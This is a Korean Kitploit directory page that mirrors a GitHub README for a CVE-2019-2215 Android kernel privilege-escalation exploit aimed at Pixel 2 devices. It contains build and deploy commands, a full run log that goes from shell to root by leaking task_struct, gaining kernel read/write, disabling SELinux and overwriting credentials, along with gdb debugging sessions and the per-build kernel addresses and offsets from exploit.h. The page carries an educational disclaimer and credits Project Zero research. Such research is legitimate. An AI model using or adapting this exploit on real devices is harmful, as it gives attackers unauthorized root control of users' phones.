Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-2215 — CVE-2019-2215를 통한 Pixel 2 및 Pixel 2 XL용 Temproot | Kitploit
도구/GitHubGitHub/byte-master-101/cve-2019-2215
Android SecurityPrivilege EscalationExploitationMobile SecurityLearning & EducationBinary Exploitation
GitHubbyte-master-101/cve-2019-2215

CVE-2019-2215

CVE-2019-2215를 통한 Pixel 2 및 Pixel 2 XL용 Temproot

저장소 보기
3225년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-2215

면책 조항: 여기에 제공된 코드는 교육 및 시연 목적으로만 제공됩니다. 저는 이 코드(또는 그 안의 정보, 빌드, 이 저장소의 어떤 것도)를 불법적이거나 비도덕적인 이유로 사용하는 사람을 지원하지 않으며, 그에 대한 책임도 지지 않습니다.

크레딧

Google Project Zero의 Jann Horn & Maddie Stone의 개념 증명을 기반으로 함

특별히 CloudFuzz의 워크숍 덕분에 이 익스플로잇을 작성할 수 있었습니다.

또한 참조 자료를 제공해 준 kangtastic에게 감사드립니다.

사용법

익스플로잇을 빌드하려면:

root@kitploit:~
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make

익스플로잇을 빌드하고 실행 중인 기기(Android Studio 에뮬레이터 사용)에 업로드하려면:

root@kitploit:~
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit

사용 예시:

root@kitploit:~
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id                                   
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
    [+] Allocating page
    [+] Filling page with 'A's
    [+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
    [+] Allocating binder and epoll file descriptors
    [+] Creating Pipe
    [+] Constructing IOVEC stack
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Reading leaked task_struct pointer
    [+] Leaked task_struct pointer: 0xffff888010731b80
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
    [+] Allocating binder and epoll file descriptors
    [+] Creating socket
    [+] Writing junk data to socket
    [+] Constructing IOVEC stack
    [+] Crafting socket input data
    [+] Creating message header object
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Verifying arbitrary R/W vector
    [+] Opening kernel R/W pipe
    [+] PID 7359 verified
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
    [+] SELinux enforcing flag located at 0xffffffff816acfe8
    [+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
    [+] Copying nsproxy pointer from kernel-space
    [+] init_nsproxy structure address: 0xffffffff81433ac0
    [+] Kernel base address: 0xffffffff80200000
    [+] init_cred structure address: 0xffffffff81433c30
    [+] init_cred usage count: 0x2
    [+] Setting init_cred usage count to: 0x3
    [+] Setting task_struct credentials to init_cred
    [+] New process UID: 0
    [+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully

Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit

Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$

디버깅

익스플로잇을 디버깅하려면:

root@kitploit:~
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb

gdb가 연결된 상태에서 익스플로잇을 실행하면 매우 불안정해지므로, 필요한 경우에만 gdb를 연결하세요. 디버깅 세션 예시:

root@kitploit:~
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.

Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701		BUG_ON(!list_empty(&thread->todo));
0xffff888011821000:	0xffff888028f72400	0x0000000000000001
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0xffff888011821020	0xffff888011821020
0xffff888011821030:	0x0000002000001a13	0x0000000000000001
0xffff888011821040:	0x0000000000000000	0xffff888011821048
0xffff888011821050:	0xffff888011821048	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000003	0x0000000000007201
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000003	0x0000000000007201
0xffff8880118210a0:	0x0000000000000000	0xffff88806a848198
0xffff8880118210b0:	0xffff88806a848198	0x0000000000000000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000001
0xffff888011821190:	0xffff88804fab3700

Breakpoint 2, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:50
50		spin_lock_irqsave(&wq_head->lock, flags);
0xffff888011821000:	0x0000000000000000	0x0000000000000000
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0x0000000000000000	0x0000000000000000
0xffff888011821030:	0x0000000000000000	0x0000000000000000
0xffff888011821040:	0x0000000000000000	0x0000000000000000
0xffff888011821050:	0x0000000000000000	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000000	0x0000000000000000
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000000	0x0000000000000000
0xffff8880118210a0:	0x0000000100000000	0x0000000000010000
0xffff8880118210b0:	0x00000000deadbeef	0x0000000000010000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000000
0xffff888011821190:	0xffff88804fab3700

Breakpoint 3, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:53
53	}
0xffff888011821000:	0x0000000000000000	0x0000000000000000
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0x0000000000000000	0x0000000000000000
0xffff888011821030:	0x0000000000000000	0x0000000000000000
0xffff888011821040:	0x0000000000000000	0x0000000000000000
0xffff888011821050:	0x0000000000000000	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000000	0x0000000000000000
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000000	0x0000000000000000
0xffff8880118210a0:	0x0000000100000000	0xffff8880118210a8
0xffff8880118210b0:	0xffff8880118210a8	0x0000000000010000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000000
0xffff888011821190:	0xffff88804fab3700

...

빌드 노트

exploit.h의 일부 상수는 빌드별로 다릅니다:

root@kitploit:~
// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred

#define KERNEL_BASE         0xffffffff80200000ul
#define INIT_NSPROXY        0xffffffff81433ac0ul
#define SELINUX_ENFORCING   0xffffffff816acfe8ul
#define INIT_CRED           0xffffffff81433c30ul

그리고

root@kitploit:~
// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET   0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET          0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET      0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET    0x680ul // p /x offsetof(struct task_struct, real_cred)

첫 번째 상수 세트는 대상 빌드의 System.map 파일에서 가져올 수 있으며, 두 번째 상수 세트는 각각 해당하는 gdb 명령을 사용하여 계산할 수 있습니다.

도구 다운로드